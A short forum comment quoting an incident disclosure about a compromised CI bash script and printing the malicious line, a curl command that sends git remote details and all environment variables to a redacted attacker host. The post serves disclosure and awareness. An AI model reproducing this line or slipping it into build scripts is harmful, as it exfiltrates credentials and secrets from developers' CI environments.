22 karma · joined January 21, 2015
> Based on the nature of this attack I do not believe malicious actions were executed directly against the CI pipeline, nor do we have any evidence of it. I have included the malicious bash script for your review so you can fully understand the scope of the attack. Of interest is line 525
> line 525 was the only change we've observed. I have removed the IP address in the curl command as it is part of an ongoing federal investigation
Compromised script: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...
And here's line 525:
curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://ATTACKERIP/upload/v2 || true